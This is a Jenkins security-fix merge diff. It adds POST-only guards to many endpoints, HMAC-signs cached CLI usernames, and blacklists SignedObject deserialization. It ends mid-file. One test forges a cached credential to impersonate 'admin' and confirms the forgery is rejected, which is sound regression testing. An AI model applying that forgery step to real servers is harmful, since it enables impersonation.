mirror of
https://github.com/jenkinsci/jenkins.git
synced 2026-11-10 18:46:41 +00:00
Merge branch 'security-stable-1.651' into security-stable-2.7
This commit is contained in:
commit
06eb14efe6
23 files changed
+420
-17
No files matched your search
@@ -1281,6 +1281,7 @@ public abstract class PluginManager extends AbstractModelObject implements OnMas
|
||||
return hudson.util.HttpResponses.okJSON(response);
|
||||
}
|
||||
|
||||
@RequirePOST
|
||||
public HttpResponse doUpdateSources(StaplerRequest req) throws IOException {
|
||||
Jenkins.getInstance().checkPermission(CONFIGURE_UPDATECENTER);
|
||||
|
||||
@@ -1315,6 +1316,7 @@ public abstract class PluginManager extends AbstractModelObject implements OnMas
|
||||
/**
|
||||
* Performs the installation of the plugins.
|
||||
*/
|
||||
@RequirePOST
|
||||
public void doInstall(StaplerRequest req, StaplerResponse rsp) throws IOException, ServletException {
|
||||
Jenkins.getInstance().checkPermission(Jenkins.ADMINISTER);
|
||||
Set<String> plugins = new LinkedHashSet<>();
|
||||
|
||||
@@ -1,5 +1,6 @@
|
||||
package hudson.cli;
|
||||
|
||||
import com.google.common.annotations.VisibleForTesting;
|
||||
import hudson.FilePath;
|
||||
import hudson.remoting.Channel;
|
||||
import hudson.util.Secret;
|
||||
@@ -17,6 +18,9 @@ import java.io.InputStream;
|
||||
import java.io.OutputStream;
|
||||
import java.io.Serializable;
|
||||
import java.util.Properties;
|
||||
import java.util.logging.Level;
|
||||
import java.util.logging.Logger;
|
||||
import jenkins.security.HMACConfidentialKey;
|
||||
|
||||
/**
|
||||
* Represents the authentication credential store of the CLI client.
|
||||
@@ -29,6 +33,10 @@ import java.util.Properties;
|
||||
* @since 1.351
|
||||
*/
|
||||
public class ClientAuthenticationCache implements Serializable {
|
||||
|
||||
private static final HMACConfidentialKey MAC = new HMACConfidentialKey(ClientAuthenticationCache.class, "MAC");
|
||||
private static final Logger LOGGER = Logger.getLogger(ClientAuthenticationCache.class.getName());
|
||||
|
||||
/**
|
||||
* Where the store should be placed.
|
||||
*/
|
||||
@@ -37,7 +45,8 @@ public class ClientAuthenticationCache implements Serializable {
|
||||
/**
|
||||
* Loaded contents of the store.
|
||||
*/
|
||||
private final Properties props = new Properties();
|
||||
@VisibleForTesting
|
||||
final Properties props = new Properties();
|
||||
|
||||
public ClientAuthenticationCache(Channel channel) throws IOException, InterruptedException {
|
||||
store = (channel==null ? FilePath.localChannel : channel).call(new MasterToSlaveCallable<FilePath, IOException>() {
|
||||
@@ -67,12 +76,32 @@ public class ClientAuthenticationCache implements Serializable {
|
||||
*/
|
||||
public Authentication get() {
|
||||
Jenkins h = Jenkins.getActiveInstance();
|
||||
Secret userName = Secret.decrypt(props.getProperty(getPropertyKey()));
|
||||
if (userName==null) return Jenkins.ANONYMOUS; // failed to decrypt
|
||||
String val = props.getProperty(getPropertyKey());
|
||||
if (val == null) {
|
||||
LOGGER.finer("No stored CLI authentication");
|
||||
return Jenkins.ANONYMOUS;
|
||||
}
|
||||
Secret oldSecret = Secret.decrypt(val);
|
||||
if (oldSecret != null) {
|
||||
LOGGER.log(Level.FINE, "Ignoring insecure stored CLI authentication for {0}", oldSecret.getPlainText());
|
||||
return Jenkins.ANONYMOUS;
|
||||
}
|
||||
int idx = val.lastIndexOf(':');
|
||||
if (idx == -1) {
|
||||
LOGGER.log(Level.FINE, "Ignoring malformed stored CLI authentication: {0}", val);
|
||||
return Jenkins.ANONYMOUS;
|
||||
}
|
||||
String username = val.substring(0, idx);
|
||||
if (!MAC.checkMac(username, val.substring(idx + 1))) {
|
||||
LOGGER.log(Level.FINE, "Ignoring stored CLI authentication due to MAC mismatch: {0}", val);
|
||||
return Jenkins.ANONYMOUS;
|
||||
}
|
||||
try {
|
||||
UserDetails u = h.getSecurityRealm().loadUserByUsername(userName.getPlainText());
|
||||
UserDetails u = h.getSecurityRealm().loadUserByUsername(username);
|
||||
LOGGER.log(Level.FINER, "Loaded stored CLI authentication for {0}", username);
|
||||
return new UsernamePasswordAuthenticationToken(u.getUsername(), "", u.getAuthorities());
|
||||
} catch (AuthenticationException | DataAccessException e) {
|
||||
LOGGER.log(Level.FINE, "Stored CLI authentication did not correspond to a valid user: " + username, e);
|
||||
return Jenkins.ANONYMOUS;
|
||||
}
|
||||
}
|
||||
@@ -80,10 +109,11 @@ public class ClientAuthenticationCache implements Serializable {
|
||||
/**
|
||||
* Computes the key that identifies this Hudson among other Hudsons that the user has a credential for.
|
||||
*/
|
||||
private String getPropertyKey() {
|
||||
@VisibleForTesting
|
||||
String getPropertyKey() {
|
||||
String url = Jenkins.getActiveInstance().getRootUrl();
|
||||
if (url!=null) return url;
|
||||
return Secret.fromString("key").toString();
|
||||
return Secret.fromString("key").getEncryptedValue();
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -95,7 +125,8 @@ public class ClientAuthenticationCache implements Serializable {
|
||||
// make sure that this security realm is capable of retrieving the authentication by name,
|
||||
// as it's not required.
|
||||
UserDetails u = h.getSecurityRealm().loadUserByUsername(a.getName());
|
||||
props.setProperty(getPropertyKey(), Secret.fromString(u.getUsername()).getEncryptedValue());
|
||||
String username = u.getUsername();
|
||||
props.setProperty(getPropertyKey(), username + ":" + MAC.mac(username));
|
||||
|
||||
save();
|
||||
}
|
||||
@@ -108,7 +139,8 @@ public class ClientAuthenticationCache implements Serializable {
|
||||
save();
|
||||
}
|
||||
|
||||
private void save() throws IOException, InterruptedException {
|
||||
@VisibleForTesting
|
||||
void save() throws IOException, InterruptedException {
|
||||
OutputStream os = store.write();
|
||||
try {
|
||||
props.store(os,"Credential store");
|
||||
|
||||
@@ -1348,6 +1348,7 @@ public abstract class AbstractBuild<P extends AbstractProject<P,R>,R extends Abs
|
||||
* Use {@link #doStop()}
|
||||
*/
|
||||
@Deprecated
|
||||
@RequirePOST // #doStop() should be preferred, but better to be safe
|
||||
public void doStop(StaplerRequest req, StaplerResponse rsp) throws IOException, ServletException {
|
||||
doStop().generateResponse(req,rsp,this);
|
||||
}
|
||||
|
||||
@@ -513,6 +513,7 @@ public abstract class AbstractItem extends Actionable implements Item, HttpDelet
|
||||
/**
|
||||
* Accepts the new description.
|
||||
*/
|
||||
@RequirePOST
|
||||
public synchronized void doSubmitDescription( StaplerRequest req, StaplerResponse rsp ) throws IOException, ServletException {
|
||||
checkPermission(CONFIGURE);
|
||||
|
||||
|
||||
@@ -791,6 +791,7 @@ public abstract class AbstractProject<P extends AbstractProject<P,R>,R extends A
|
||||
}
|
||||
|
||||
@Override
|
||||
@RequirePOST
|
||||
public void doConfigSubmit( StaplerRequest req, StaplerResponse rsp ) throws IOException, ServletException, FormException {
|
||||
super.doConfigSubmit(req,rsp);
|
||||
|
||||
|
||||
@@ -200,6 +200,7 @@ public final class ComputerSet extends AbstractModelObject implements Describabl
|
||||
return Jenkins.getInstance().getComputer(token);
|
||||
}
|
||||
|
||||
@RequirePOST
|
||||
public void do_launchAll(StaplerRequest req, StaplerResponse rsp) throws IOException {
|
||||
Jenkins.getInstance().checkPermission(Jenkins.ADMINISTER);
|
||||
|
||||
@@ -215,6 +216,7 @@ public final class ComputerSet extends AbstractModelObject implements Describabl
|
||||
*
|
||||
* TODO: ajax on the client side to wait until the update completion might be nice.
|
||||
*/
|
||||
@RequirePOST
|
||||
public void doUpdateNow( StaplerRequest req, StaplerResponse rsp ) throws IOException, ServletException {
|
||||
Jenkins.getInstance().checkPermission(Jenkins.ADMINISTER);
|
||||
|
||||
@@ -231,6 +233,7 @@ public final class ComputerSet extends AbstractModelObject implements Describabl
|
||||
/**
|
||||
* First check point in creating a new agent.
|
||||
*/
|
||||
@RequirePOST
|
||||
public synchronized void doCreateItem( StaplerRequest req, StaplerResponse rsp,
|
||||
@QueryParameter String name, @QueryParameter String mode,
|
||||
@QueryParameter String from ) throws IOException, ServletException {
|
||||
@@ -280,6 +283,7 @@ public final class ComputerSet extends AbstractModelObject implements Describabl
|
||||
/**
|
||||
* Really creates a new agent.
|
||||
*/
|
||||
@RequirePOST
|
||||
public synchronized void doDoCreateItem( StaplerRequest req, StaplerResponse rsp,
|
||||
@QueryParameter String name,
|
||||
@QueryParameter String type ) throws IOException, ServletException, FormException {
|
||||
|
||||
@@ -57,6 +57,7 @@ import org.kohsuke.accmod.restrictions.NoExternalUse;
|
||||
import org.kohsuke.stapler.Stapler;
|
||||
import org.kohsuke.stapler.StaplerRequest;
|
||||
import org.kohsuke.stapler.StaplerResponse;
|
||||
import org.kohsuke.stapler.interceptor.RequirePOST;
|
||||
|
||||
/**
|
||||
* Service for plugins to periodically retrieve update data files
|
||||
@@ -371,6 +372,7 @@ public class DownloadService extends PageDecorator {
|
||||
/**
|
||||
* This is where the browser sends us the data.
|
||||
*/
|
||||
@RequirePOST
|
||||
public void doPostBack(StaplerRequest req, StaplerResponse rsp) throws IOException {
|
||||
DownloadSettings.checkPostBackAccess();
|
||||
long dataTimestamp = System.currentTimeMillis();
|
||||
|
||||
@@ -41,6 +41,7 @@ import org.kohsuke.stapler.QueryParameter;
|
||||
import org.kohsuke.stapler.Stapler;
|
||||
import org.kohsuke.stapler.StaplerRequest;
|
||||
import org.kohsuke.stapler.StaplerResponse;
|
||||
import org.kohsuke.stapler.interceptor.RequirePOST;
|
||||
|
||||
import javax.servlet.ServletContext;
|
||||
import javax.servlet.ServletException;
|
||||
@@ -171,6 +172,7 @@ public class Hudson extends Jenkins {
|
||||
* Use {@link #doQuietDown()} instead.
|
||||
*/
|
||||
@Deprecated
|
||||
@RequirePOST
|
||||
public synchronized void doQuietDown(StaplerResponse rsp) throws IOException, ServletException {
|
||||
doQuietDown().generateResponse(null, rsp, this);
|
||||
}
|
||||
|
||||
@@ -2122,6 +2122,7 @@ public abstract class Run <JobT extends Job<JobT,RunT>,RunT extends Run<JobT,Run
|
||||
return true;
|
||||
}
|
||||
|
||||
@RequirePOST
|
||||
public void doToggleLogKeep( StaplerRequest req, StaplerResponse rsp ) throws IOException, ServletException {
|
||||
keepLog(!keepLog);
|
||||
rsp.forwardToPreviousPage(req);
|
||||
@@ -2179,6 +2180,7 @@ public abstract class Run <JobT extends Job<JobT,RunT>,RunT extends Run<JobT,Run
|
||||
/**
|
||||
* Accepts the new description.
|
||||
*/
|
||||
@RequirePOST
|
||||
public synchronized void doSubmitDescription( StaplerRequest req, StaplerResponse rsp ) throws IOException, ServletException {
|
||||
setDescription(req.getParameter("description"));
|
||||
rsp.sendRedirect("."); // go to the top page
|
||||
|
||||
@@ -154,6 +154,7 @@ public class TreeView extends View implements ViewGroup {
|
||||
// noop
|
||||
}
|
||||
|
||||
@RequirePOST
|
||||
public void doCreateView( StaplerRequest req, StaplerResponse rsp ) throws IOException, ServletException, FormException {
|
||||
checkPermission(View.CREATE);
|
||||
views.add(View.create(req,rsp,this));
|
||||
|
||||
@@ -636,6 +636,7 @@ public class UpdateCenter extends AbstractModelObject implements Saveable, OnMas
|
||||
*
|
||||
* @since 1.432
|
||||
*/
|
||||
@RequirePOST
|
||||
public HttpResponse doInvalidateData() {
|
||||
Jenkins.getInstance().checkPermission(Jenkins.ADMINISTER);
|
||||
for (UpdateSite site : sites) {
|
||||
@@ -649,6 +650,7 @@ public class UpdateCenter extends AbstractModelObject implements Saveable, OnMas
|
||||
/**
|
||||
* Schedules a Jenkins restart.
|
||||
*/
|
||||
@RequirePOST
|
||||
public void doSafeRestart(StaplerRequest request, StaplerResponse response) throws IOException, ServletException {
|
||||
synchronized (jobs) {
|
||||
if (!isRestartScheduled()) {
|
||||
@@ -663,6 +665,7 @@ public class UpdateCenter extends AbstractModelObject implements Saveable, OnMas
|
||||
/**
|
||||
* Cancel all scheduled jenkins restarts
|
||||
*/
|
||||
@RequirePOST
|
||||
public void doCancelRestart(StaplerResponse response) throws IOException, ServletException {
|
||||
synchronized (jobs) {
|
||||
for (UpdateCenterJob job : jobs) {
|
||||
@@ -737,6 +740,7 @@ public class UpdateCenter extends AbstractModelObject implements Saveable, OnMas
|
||||
/**
|
||||
* Performs hudson downgrade.
|
||||
*/
|
||||
@RequirePOST
|
||||
public void doRestart(StaplerResponse rsp) throws IOException, ServletException {
|
||||
Jenkins.getInstance().checkPermission(Jenkins.ADMINISTER);
|
||||
HudsonDowngradeJob job = new HudsonDowngradeJob(getCoreSource(), Jenkins.getAuthentication());
|
||||
|
||||
@@ -331,6 +331,7 @@ public class User extends AbstractModelObject implements AccessControlled, Descr
|
||||
/**
|
||||
* Accepts the new description.
|
||||
*/
|
||||
@RequirePOST
|
||||
public synchronized void doSubmitDescription( StaplerRequest req, StaplerResponse rsp ) throws IOException, ServletException {
|
||||
checkPermission(Jenkins.ADMINISTER);
|
||||
|
||||
|
||||
@@ -48,6 +48,7 @@ import net.sf.json.JSONObject;
|
||||
import org.jenkinsci.Symbol;
|
||||
import org.kohsuke.stapler.StaplerRequest;
|
||||
import org.kohsuke.stapler.StaplerResponse;
|
||||
import org.kohsuke.stapler.interceptor.RequirePOST;
|
||||
|
||||
/**
|
||||
* Security configuration.
|
||||
@@ -73,6 +74,7 @@ public class GlobalSecurityConfiguration extends ManagementLink implements Descr
|
||||
return Jenkins.getInstance().isDisableRememberMe();
|
||||
}
|
||||
|
||||
@RequirePOST
|
||||
public synchronized void doConfigure(StaplerRequest req, StaplerResponse rsp) throws IOException, ServletException, FormException {
|
||||
// for compatibility reasons, the actual value is stored in Jenkins
|
||||
BulkChange bc = new BulkChange(Jenkins.getInstance());
|
||||
|
||||
@@ -60,6 +60,7 @@ import org.kohsuke.stapler.HttpResponses;
|
||||
import org.kohsuke.stapler.Stapler;
|
||||
import org.kohsuke.stapler.StaplerRequest;
|
||||
import org.kohsuke.stapler.StaplerResponse;
|
||||
import org.kohsuke.stapler.interceptor.RequirePOST;
|
||||
import org.springframework.dao.DataAccessException;
|
||||
|
||||
import javax.servlet.Filter;
|
||||
@@ -214,6 +215,7 @@ public class HudsonPrivateSecurityRealm extends AbstractPasswordBasedSecurityRea
|
||||
* Creates an account and associates that with the given identity. Used in conjunction
|
||||
* with {@link #commenceSignup}.
|
||||
*/
|
||||
@RequirePOST
|
||||
public User doCreateAccountWithFederatedIdentity(StaplerRequest req, StaplerResponse rsp) throws IOException, ServletException {
|
||||
User u = _doCreateAccount(req,rsp,"signupWithFederatedIdentity.jelly");
|
||||
if (u!=null)
|
||||
@@ -226,6 +228,7 @@ public class HudsonPrivateSecurityRealm extends AbstractPasswordBasedSecurityRea
|
||||
/**
|
||||
* Creates an user account. Used for self-registration.
|
||||
*/
|
||||
@RequirePOST
|
||||
public User doCreateAccount(StaplerRequest req, StaplerResponse rsp) throws IOException, ServletException {
|
||||
return _doCreateAccount(req, rsp, "signup.jelly");
|
||||
}
|
||||
@@ -264,6 +267,7 @@ public class HudsonPrivateSecurityRealm extends AbstractPasswordBasedSecurityRea
|
||||
* This version behaves differently from {@link #doCreateAccount(StaplerRequest, StaplerResponse)} in that
|
||||
* this is someone creating another user.
|
||||
*/
|
||||
@RequirePOST
|
||||
public void doCreateAccountByAdmin(StaplerRequest req, StaplerResponse rsp) throws IOException, ServletException {
|
||||
createAccountByAdmin(req, rsp, "addUser.jelly", "."); // send the user back to the listing page on success
|
||||
}
|
||||
@@ -287,6 +291,7 @@ public class HudsonPrivateSecurityRealm extends AbstractPasswordBasedSecurityRea
|
||||
* <p>
|
||||
* This can be run by anyone, but only to create the very first user account.
|
||||
*/
|
||||
@RequirePOST
|
||||
public void doCreateFirstAccount(StaplerRequest req, StaplerResponse rsp) throws IOException, ServletException {
|
||||
if(hasSomeUser()) {
|
||||
rsp.sendError(SC_UNAUTHORIZED,"First user was already created");
|
||||
|
||||
@@ -124,6 +124,7 @@ import hudson.model.listeners.ItemListener;
|
||||
import hudson.model.listeners.SCMListener;
|
||||
import hudson.model.listeners.SaveableListener;
|
||||
import hudson.remoting.Callable;
|
||||
import hudson.remoting.ClassFilter;
|
||||
import hudson.remoting.LocalChannel;
|
||||
import hudson.remoting.VirtualChannel;
|
||||
import hudson.scm.RepositoryBrowser;
|
||||
@@ -270,6 +271,7 @@ import java.io.IOException;
|
||||
import java.io.InputStream;
|
||||
import java.io.PrintWriter;
|
||||
import java.io.StringWriter;
|
||||
import java.lang.reflect.Field;
|
||||
import java.net.BindException;
|
||||
import java.net.HttpURLConnection;
|
||||
import java.net.URL;
|
||||
@@ -305,6 +307,7 @@ import java.util.concurrent.atomic.AtomicBoolean;
|
||||
import java.util.logging.Level;
|
||||
import java.util.logging.LogRecord;
|
||||
import java.util.logging.Logger;
|
||||
import java.util.regex.Pattern;
|
||||
|
||||
import static hudson.Util.*;
|
||||
import static hudson.init.InitMilestone.*;
|
||||
@@ -872,6 +875,35 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve
|
||||
|
||||
adjuncts = new AdjunctManager(servletContext, pluginManager.uberClassLoader,"adjuncts/"+SESSION_HASH, TimeUnit2.DAYS.toMillis(365));
|
||||
|
||||
// TODO pending move to standard blacklist, or API to append filter
|
||||
if (System.getProperty(ClassFilter.FILE_OVERRIDE_LOCATION_PROPERTY) == null) { // TODO 2.4+ SystemProperties
|
||||
try {
|
||||
Field blacklistPatternsF = ClassFilter.DEFAULT.getClass().getDeclaredField("blacklistPatterns");
|
||||
blacklistPatternsF.setAccessible(true);
|
||||
Object blacklistPatterns = blacklistPatternsF.get(ClassFilter.DEFAULT);
|
||||
if (blacklistPatterns instanceof List) {
|
||||
@SuppressWarnings("unchecked")
|
||||
List<Pattern> blacklistPatternsL = (List) blacklistPatterns;
|
||||
blacklistPatternsL.add(Pattern.compile("java[.]security[.]SignedObject"));
|
||||
} else { // remoting 2.62+
|
||||
Object[] blacklistPatternsA = (Object[]) blacklistPatterns;
|
||||
boolean found = false;
|
||||
for (int i = 0; i < blacklistPatternsA.length; i++) {
|
||||
if (blacklistPatternsA[i] instanceof Pattern) {
|
||||
blacklistPatternsA[i] = Pattern.compile("(" + blacklistPatternsA[i] + ")|(java[.]security[.]SignedObject)");
|
||||
found = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (!found) {
|
||||
throw new Error("no Pattern found among " + Arrays.toString(blacklistPatternsA));
|
||||
}
|
||||
}
|
||||
} catch (NoSuchFieldException | IllegalAccessException x) {
|
||||
throw new Error("Unexpected ClassFilter implementation in bundled remoting.jar: " + x, x);
|
||||
}
|
||||
}
|
||||
|
||||
// initialization consists of ...
|
||||
executeReactor( is,
|
||||
pluginManager.initTasks(is), // loading and preparing plugins
|
||||
@@ -3352,6 +3384,7 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve
|
||||
/**
|
||||
* Accepts submission from the configuration page.
|
||||
*/
|
||||
@RequirePOST
|
||||
public synchronized void doConfigSubmit( StaplerRequest req, StaplerResponse rsp ) throws IOException, ServletException, FormException {
|
||||
BulkChange bc = new BulkChange(this);
|
||||
try {
|
||||
@@ -3439,7 +3472,7 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve
|
||||
getPrimaryView().doSubmitDescription(req, rsp);
|
||||
}
|
||||
|
||||
@RequirePOST // TODO does not seem to work on _either_ overload!
|
||||
@RequirePOST
|
||||
public synchronized HttpRedirect doQuietDown() throws IOException {
|
||||
try {
|
||||
return doQuietDown(false,0);
|
||||
@@ -3490,6 +3523,7 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve
|
||||
/**
|
||||
* Backward compatibility. Redirect to the thread dump.
|
||||
*/
|
||||
// TODO annotate @GET once baseline includes Stapler version XXX
|
||||
public void doClassicThreadDump(StaplerResponse rsp) throws IOException, ServletException {
|
||||
rsp.sendRedirect2("threadDump");
|
||||
}
|
||||
@@ -3717,10 +3751,12 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve
|
||||
/**
|
||||
* Do a finger-print check.
|
||||
*/
|
||||
@RequirePOST
|
||||
public void doDoFingerprintCheck( StaplerRequest req, StaplerResponse rsp ) throws IOException, ServletException {
|
||||
// Parse the request
|
||||
MultipartFormDataParser p = new MultipartFormDataParser(req);
|
||||
if(isUseCrumbs() && !getCrumbIssuer().validateCrumb(req, p)) {
|
||||
// TODO investigate whether this check can be removed
|
||||
rsp.sendError(HttpServletResponse.SC_FORBIDDEN,"No crumb found");
|
||||
}
|
||||
try {
|
||||
@@ -3812,10 +3848,11 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve
|
||||
return;
|
||||
}
|
||||
|
||||
restart();
|
||||
if (req == null || req.getMethod().equals("POST")) {
|
||||
restart();
|
||||
}
|
||||
|
||||
if (rsp != null) // null for CLI
|
||||
rsp.sendRedirect2(".");
|
||||
rsp.sendRedirect2(".");
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -3831,7 +3868,9 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve
|
||||
if (req != null && req.getMethod().equals("GET"))
|
||||
return HttpResponses.forwardToView(this,"_safeRestart.jelly");
|
||||
|
||||
safeRestart();
|
||||
if (req == null || req.getMethod().equals("POST")) {
|
||||
safeRestart();
|
||||
}
|
||||
|
||||
return HttpResponses.redirectToDot();
|
||||
}
|
||||
@@ -4485,6 +4524,7 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve
|
||||
}
|
||||
|
||||
@Override
|
||||
@RequirePOST
|
||||
public void doConfigSubmit(StaplerRequest req, StaplerResponse rsp) throws IOException, ServletException, FormException {
|
||||
Jenkins.getInstance().doConfigExecutorsSubmit(req, rsp);
|
||||
}
|
||||
|
||||
@@ -50,6 +50,7 @@ import javax.annotation.Nonnull;
|
||||
import org.apache.commons.lang.StringUtils;
|
||||
import org.kohsuke.accmod.Restricted;
|
||||
import org.kohsuke.accmod.restrictions.NoExternalUse;
|
||||
import org.kohsuke.stapler.interceptor.RequirePOST;
|
||||
|
||||
/**
|
||||
* Remembers the API token for this user, that can be used like a password to login.
|
||||
@@ -178,6 +179,7 @@ public class ApiTokenProperty extends UserProperty {
|
||||
return new ApiTokenProperty(API_KEY_SEED.mac(user.getId()));
|
||||
}
|
||||
|
||||
@RequirePOST
|
||||
public HttpResponse doChangeToken(@AncestorInPath User u, StaplerResponse rsp) throws IOException {
|
||||
ApiTokenProperty p = u.getProperty(ApiTokenProperty.class);
|
||||
if (p==null) {
|
||||
|
||||
@@ -96,7 +96,7 @@ THE SOFTWARE.
|
||||
</table>
|
||||
<j:if test="${app.hasPermission(app.ADMINISTER)}">
|
||||
<div align="right" style="margin-top:0.5em">
|
||||
<form method="get" action="updateNow">
|
||||
<form method="post" action="updateNow">
|
||||
<s:submit value="${%Refresh status}"/>
|
||||
</form>
|
||||
</div>
|
||||
|
||||
@@ -28,7 +28,7 @@ THE SOFTWARE.
|
||||
<?jelly escape-by-default='true'?>
|
||||
<j:jelly xmlns:j="jelly:core" xmlns:st="jelly:stapler" xmlns:d="jelly:define" xmlns:l="/lib/layout" xmlns:t="/lib/hudson" xmlns:f="/lib/form" xmlns:i="jelly:fmt">
|
||||
<j:if test="${it.parent.buildDiscarder!=null and it.canToggleLogKeep()}">
|
||||
<form method="get" action="toggleLogKeep" style="margin-top:1em">
|
||||
<form method="post" action="toggleLogKeep" style="margin-top:1em">
|
||||
<j:if test="${it.keepLog and h.hasPermission(it,it.DELETE)}">
|
||||
<f:submit value="${%Don't keep this build forever}" />
|
||||
</j:if>
|
||||
|
||||
@@ -0,0 +1,125 @@
|
||||
/*
|
||||
* The MIT License
|
||||
*
|
||||
* Copyright 2017 CloudBees, Inc.
|
||||
*
|
||||
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
* of this software and associated documentation files (the "Software"), to deal
|
||||
* in the Software without restriction, including without limitation the rights
|
||||
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
* copies of the Software, and to permit persons to whom the Software is
|
||||
* furnished to do so, subject to the following conditions:
|
||||
*
|
||||
* The above copyright notice and this permission notice shall be included in
|
||||
* all copies or substantial portions of the Software.
|
||||
*
|
||||
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
||||
* THE SOFTWARE.
|
||||
*/
|
||||
|
||||
package hudson.cli;
|
||||
|
||||
import com.google.common.collect.Lists;
|
||||
import hudson.Launcher;
|
||||
import hudson.security.FullControlOnceLoggedInAuthorizationStrategy;
|
||||
import hudson.util.Secret;
|
||||
import hudson.util.StreamTaskListener;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.File;
|
||||
import java.util.Arrays;
|
||||
import java.util.List;
|
||||
import javax.annotation.CheckForNull;
|
||||
import jenkins.model.JenkinsLocationConfiguration;
|
||||
import org.apache.commons.io.FileUtils;
|
||||
import org.apache.commons.io.output.TeeOutputStream;
|
||||
import static org.hamcrest.Matchers.containsString;
|
||||
import org.junit.Test;
|
||||
import static org.junit.Assert.*;
|
||||
import org.junit.Ignore;
|
||||
import org.junit.Rule;
|
||||
import org.junit.rules.TemporaryFolder;
|
||||
import org.jvnet.hudson.test.Issue;
|
||||
import org.jvnet.hudson.test.JenkinsRule;
|
||||
|
||||
public class ClientAuthenticationCacheTest {
|
||||
|
||||
@Rule
|
||||
public JenkinsRule r = new JenkinsRule();
|
||||
|
||||
@Rule
|
||||
public TemporaryFolder tmp = new TemporaryFolder();
|
||||
|
||||
// TODO 2.19.x+ use LoggerRule on ClientAuthenticationCache
|
||||
|
||||
@Issue("SECURITY-466")
|
||||
@Test
|
||||
public void login() throws Exception {
|
||||
File jar = tmp.newFile("jenkins-cli.jar");
|
||||
FileUtils.copyURLToFile(r.jenkins.getJnlpJars("jenkins-cli.jar").getURL(), jar);
|
||||
r.jenkins.setSecurityRealm(r.createDummySecurityRealm());
|
||||
r.jenkins.setAuthorizationStrategy(new FullControlOnceLoggedInAuthorizationStrategy());
|
||||
assertCLI(0, "Authenticated as: anonymous", jar, "who-am-i");
|
||||
assertCLI(0, null, jar, "login", "--username", "dev", "--password", "dev");
|
||||
try {
|
||||
assertCLI(0, "Authenticated as: dev", jar, "who-am-i");
|
||||
ClientAuthenticationCache cache = new ClientAuthenticationCache(null);
|
||||
String val = cache.props.getProperty(cache.getPropertyKey());
|
||||
assertNotNull(val);
|
||||
System.err.println(val);
|
||||
Secret s = Secret.decrypt(val);
|
||||
if (s != null && s.getPlainText().equals("dev")) {
|
||||
val = Secret.fromString("admin").getEncryptedValue();
|
||||
}
|
||||
System.err.println(val);
|
||||
val = val.replace("dev", "admin");
|
||||
System.err.println(val);
|
||||
cache.props.put(cache.getPropertyKey(), val);
|
||||
cache.save();
|
||||
assertCLI(0, "Authenticated as: anonymous", jar, "who-am-i");
|
||||
} finally {
|
||||
assertCLI(0, null, jar, "logout");
|
||||
}
|
||||
}
|
||||
|
||||
@Ignore("TODO fails unless CLICommand.main patched to replace (auth==Jenkins.ANONYMOUS) with (auth instanceof AnonymousAuthenticationToken), not just (Jenkins.ANONYMOUS.equals(auth)), since SecurityFilters.groovy sets userAttribute='anonymous,' so UserAttributeEditor.setAsText configures AnonymousProcessingFilter with a token with an empty authority which fails AbstractAuthenticationToken.equals")
|
||||
@Test
|
||||
public void overHttp() throws Exception {
|
||||
File jar = tmp.newFile("jenkins-cli.jar");
|
||||
FileUtils.copyURLToFile(r.jenkins.getJnlpJars("jenkins-cli.jar").getURL(), jar);
|
||||
r.jenkins.setSecurityRealm(r.createDummySecurityRealm());
|
||||
r.jenkins.setAuthorizationStrategy(new FullControlOnceLoggedInAuthorizationStrategy());
|
||||
r.jenkins.setSlaveAgentPort(-1);
|
||||
assertCLI(0, "Authenticated as: anonymous", jar, "who-am-i");
|
||||
assertCLI(0, null, jar, "login", "--username", "admin", "--password", "admin");
|
||||
try {
|
||||
assertCLI(0, "Authenticated as: admin", jar, "who-am-i");
|
||||
} finally {
|
||||
assertCLI(0, null, jar, "logout");
|
||||
}
|
||||
}
|
||||
|
||||
@Test
|
||||
public void getPropertyKey() throws Exception {
|
||||
ClientAuthenticationCache cache = new ClientAuthenticationCache(null);
|
||||
assertEquals(r.getURL().toString(), cache.getPropertyKey());
|
||||
JenkinsLocationConfiguration.get().setUrl(null);
|
||||
String key = cache.getPropertyKey();
|
||||
assertTrue(key, Secret.decrypt(key) != null);
|
||||
}
|
||||
|
||||
private void assertCLI(int code, @CheckForNull String output, File jar, String... args) throws Exception {
|
||||
List<String> commands = Lists.newArrayList("java", "-jar", jar.getAbsolutePath(), "-s", r.getURL().toString(), "-noKeyAuth");
|
||||
commands.addAll(Arrays.asList(args));
|
||||
ByteArrayOutputStream baos = new ByteArrayOutputStream();
|
||||
assertEquals(code, new Launcher.LocalLauncher(StreamTaskListener.fromStderr()).launch().cmds(commands).stdout(new TeeOutputStream(System.out, baos)).stderr(System.err).join());
|
||||
if (output != null) {
|
||||
assertThat(baos.toString(), containsString(output));
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
@@ -6,6 +6,7 @@ import static org.junit.Assert.assertSame;
|
||||
import static org.junit.Assert.assertTrue;
|
||||
|
||||
import com.gargoylesoftware.htmlunit.DownloadedContent;
|
||||
import com.gargoylesoftware.htmlunit.HttpMethod;
|
||||
import com.gargoylesoftware.htmlunit.HttpWebConnection;
|
||||
